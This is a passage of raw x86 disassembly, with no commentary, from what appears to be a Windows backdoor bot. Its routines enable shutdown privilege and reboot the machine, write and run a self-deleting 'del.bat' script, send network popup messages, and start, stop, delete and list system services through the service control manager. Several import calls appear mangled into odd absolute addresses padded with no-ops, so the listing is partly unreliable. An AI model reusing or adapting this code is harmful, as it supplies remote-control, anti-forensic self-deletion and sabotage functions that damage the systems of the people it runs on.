		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 282072Fh
		nop
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 2820000h
		nop
		push	esi
		call	ebx

loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEB4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB044, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx

loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2710A21h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2700000h
		nop
		push	edi
		call	near ptr 2670999h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D128
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2690E1Dh
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2690CDEh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2690B92h

loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2830000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2670C98h
		nop

loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26E065Ah
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAEF4
		push	edi
		push	eax
		call	dword_4CAF04
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_438984

loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_43895C
		jmp	short loc_418542
; ---------------------------------------------------------------------------

loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43892C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E065Ah
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA

loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	near ptr 26C0000h
		nop
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26C032Eh
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27B0356h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26A0688h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389A8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389A4[esi]
		push	offset unk_438AB8

loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DAFF0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438A8C
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------

loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DAFF0
		push	off_4389A0[eax*4]
		push	offset unk_438A68
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF68
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2690800h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------

loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE50
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		call	near ptr 2690800h
		nop
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------

loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEBC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE58
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEC0

loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		call	near ptr 2690800h
		nop
		mov	ebx, eax

loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE6C

loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE6C
		pop	esi

loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump

loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA930
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------

loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA930
		call	sub_41B886
		add	esp, 0Ch

loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA930
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF68
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF34
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2690800h
		cmp	eax, 0EAh
		jnz	loc_418A81

loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]

loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"

loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE

loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993

loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE6C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------

loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax

loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A0[eax*4]
		push	offset unk_43904C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch

loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8

loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A4[eax*4]
		push	offset dword_439030
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DABEC
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_43900C
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DADEC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DADEC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DAB8C, eax

loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DAB8C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DAB8C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE68
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
